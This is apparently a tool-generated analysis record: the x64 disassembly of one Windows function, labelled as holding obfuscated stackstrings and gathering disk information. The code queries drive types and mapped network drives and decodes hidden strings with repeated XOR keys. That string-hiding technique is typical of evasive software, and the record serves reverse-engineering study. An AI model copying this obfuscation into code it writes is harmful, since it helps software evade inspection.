Function at 0x1400452f0
Capabilities:
Contain obfuscated stackstrings
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x140073010]
xor rax, rsp
mov qword [rbp + 0x4f], rax
movzx esi, cx
mov edx, 8
lea r8d, [rdx + 6]
mov rcx, qword [0x140076e58]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x1400453d8
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x2efc
mov eax, dword [rdx + rcx]
mov ebx, 0x2ba8
add rbx, rcx
mov edi, 0xb1
test al, 1
jne 0x140045394
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0xc], 1
mov dword [rbx], 0x57003d
mov dword [rbx + 4], 0x8b00b2
mov dword [rbx + 8], 0xb10088
lea rcx, [0x14006bb10]
call fcn.140048870
nop
cmp byte [rbx + 0xc], 0
je 0x1400453c6
xor word [rbx], 0x79
xor word [rbx + 2], 0x25
mov eax, 0xdb
xor word [rbx + 4], ax
mov eax, 0xfd
xor word [rbx + 6], ax
mov eax, 0xed
xor word [rbx + 8], ax
xor word [rbx + 0xa], di
mov byte [rbx + 0xc], 0
mov edx, 0x1002
mov rcx, rbx
call fcn.140023600
jmp 0x14004562a
lea rdx, [0x14001a4c8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rdi + 0xa]
lea rdx, [0x14001a524]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov word [rdi + 8], si
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x140045618
lea ecx, [rax - 5]
cmp ecx, 1
jbe 0x1400457a6
cmp eax, 4
jne 0x140045653
mov dword [rbp - 0x19], 0x104
lea edx, [rax + 4]
mov r8d, 0x208
mov rcx, qword [0x140076e58]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x140045618
lea r8, [rbp - 0x19]
mov rdx, rax
lea rcx, [rdi + 8]
call qword [sym.imp.MPR.dll_WNetGetConnectionW]
test eax, eax
jne 0x140045606
mov dword [rbp + 0x17], 0xf10053
mov dword [rbp + 0x1b], 0x880076
mov dword [rbp + 0x1f], 0x3600fa
mov dword [rbp + 0x23], 0x8d00e6
mov dword [rbp + 0x27], 0xe60051
mov dword [rbp + 0x2b], 0x840074
mov r14d, 0xeb
mov dword [rbp + 0x2f], 0x2000eb
mov dword [rbp + 0x33], 0xe900b5
mov dword [rbp + 0x37], 0xea0071
mov dword [rbp + 0x3b], 0x8e006f
mov dword [rbp + 0x3f], 0x6000a5
mov dword [rbp + 0x43], 0xa700e6
lea r8d, [rax + 3]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x3020
mov eax, dword [rdx + rcx]
mov ebx, 0x2ca8
add rbx, rcx
test al, 1
jne 0x14004554a
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x32], 1
lea rax, [rbx + 0x30]
lea rcx, [rbp + 0x47]
cmp rbx, rcx
ja 0x140045521
lea rcx, [rbp + 0x17]
cmp rax, rcx
jb 0x140045521
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp + 0x27]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [rbp + 0x37]
movups xmmword [rbx + 0x20], xmm0
mov word [rbx + 0x30], r8w
jmp 0x14004553d
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp + 0x27]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [rbp + 0x37]
movups xmmword [rbx + 0x20], xmm0
mov word [rbx + 0x30], r8w
lea rcx, [0x14006baa0]
call fcn.140048870
nop
cmp byte [rbx + 0x32], 0
je 0x1400455e0
xor word [rbx], 3
mov r8d, 0x83
xor word [rbx + 2], r8w
xor word [rbx + 4], 0x19
xor word [rbx + 6], r14w
mov edx, 0x9f
xor word [rbx + 8], dx
xor word [rbx + 0xa], 0x45
mov ecx, 0x95
xor word [rbx + 0xc], cx
mov eax, 0xad
xor word [rbx + 0xe], ax
xor word [rbx + 0x10], 3
xor word [rbx + 0x12], r8w
xor word [rbx + 0x14], 0x19
xor word [rbx + 0x16], r14w
xor word [rbx + 0x18], dx
xor word [rbx + 0x1a], 0x45
xor word [rbx + 0x1c], cx
xor word [rbx + 0x1e], ax
xor word [rbx + 0x20], 3
xor word [rbx + 0x22], r8w
xor word [rbx + 0x24], 0x19
xor word [rbx + 0x26], r14w
xor word [rbx + 0x28], dx
xor word [rbx + 0x2a], 0x45
xor word [rbx + 0x2c], cx
xor word [rbx + 0x2e], ax
xor word [rbx + 0x30], 3
mov byte [rbx + 0x32], 0
mov r9, rsi
mov r8, rbx
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
lea rdx, [0x140076e10]
mov rcx, rsi
call fcn.140044820
mov r8, rsi
xor edx, edx
mov rcx, qword [0x140076e58]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, rdi
xor edx, edx
mov rcx, qword [0x140076e58]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140048740
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
dec eax
cmp eax, 2
ja 0x140045618
mov dword [rbp - 0x11], 0x250065
mov dword [rbp - 0xd], 0x6e00c2
mov dword [rbp - 9], 0x600044
mov dword [rbp - 5], 0xf00e8
mov dword [rbp - 1], 0x250071
mov dword [rbp + 3], 0x7b00c4
mov dword [rbp + 7], 0x290044
mov dword [rbp + 0xb], 0x5c00be
mov dword [rbp + 0xf], 0x57003f
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x2ad0
mov eax, dword [rdx + rcx]
mov ebx, 0x2c78
add rbx, rcx
test al, 1
jne 0x140045712
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x24], 1
lea rax, [rbx + 0x22]
lea rcx, [rbp + 0x11]
cmp rbx, rcx
ja 0x1400456f0
lea rcx, [rbp - 0x11]
cmp rax, rcx
jb 0x1400456f0
movups xmm0, xmmword [rbp - 0x11]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp - 1]
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rbp + 0xf]
mov dword [rbx + 0x20], eax
jmp 0x140045705
movups xmm0, xmmword [rbp - 0x11]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp - 1]
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rbp + 0xf]
mov dword [rbx + 0x20], eax
lea rcx, [0x14006ba60]
call fcn.140048870
nop
cmp byte [rbx + 0x24], 0
je 0x14004577b
xor word [rbx], 0x35
xor word [rbx + 2], 0x57
mov eax, 0xad
xor word [rbx + 4], ax
xor word [rbx + 6], 0xd
xor word [rbx + 8], 0x21
xor word [rbx + 0xa], 0x13
mov ecx, 0x9b
xor word [rbx + 0xc], cx
xor word [rbx + 0xe], 0x2f
xor word [rbx + 0x10], 0x35
xor word [rbx + 0x12], 0x57
xor word [rbx + 0x14], ax
xor word [rbx + 0x16], 0xd
xor word [rbx + 0x18], 0x21
xor word [rbx + 0x1a], 0x13
xor word [rbx + 0x1c], cx
xor word [rbx + 0x1e], 0x2f
xor word [rbx + 0x20], 0x35
xor word [rbx + 0x22], 0x57
mov byte [rbx + 0x24], 0
mov r9, rdi
mov r8, rbx
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
lea rdx, [0x140076e10]
mov rcx, rdi
call fcn.140044820
jmp 0x140045618
mov r8, rdi
xor edx, edx
mov rcx, qword [0x140076e58]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x2d34
mov eax, dword [rdx + rcx]
mov ebx, 0x2828
add rbx, rcx
mov esi, 0xd7
test al, 1
jne 0x14004582d
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x1e], 1
mov dword [rbx], 0xbc0024
mov dword [rbx + 4], 0x2b006e
mov dword [rbx + 8], 0x990027
mov dword [rbx + 0xc], 0x480033
mov dword [rbx + 0x10], 0xb20001
mov dword [rbx + 0x14], 0x7e003d
mov dword [rbx + 0x18], 0xd70074
mov eax, 0x41
mov word [rbx + 0x1c], ax
lea rcx, [0x14006bae0]
call fcn.140048870
nop
cmp byte [rbx + 0x1e], 0
je 0x140045882
xor word [rbx], 0x77
xor word [rbx + 2], si
xor word [rbx + 4], 7
xor word [rbx + 6], 0x5b
xor word [rbx + 8], 7
mov eax, 0xdd
xor word [rbx + 0xa], ax
xor word [rbx + 0xc], 0x41
xor word [rbx + 0xe], 0x21
xor word [rbx + 0x10], 0x77
xor word [rbx + 0x12], si
xor word [rbx + 0x14], 7
xor word [rbx + 0x16], 0x5b
xor word [rbx + 0x18], 7
xor word [rbx + 0x1a], ax
xor word [rbx + 0x1c], 0x41
mov byte [rbx + 0x1e], 0
mov r9, rdi
mov r8, rbx
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
jmp 0x14004562a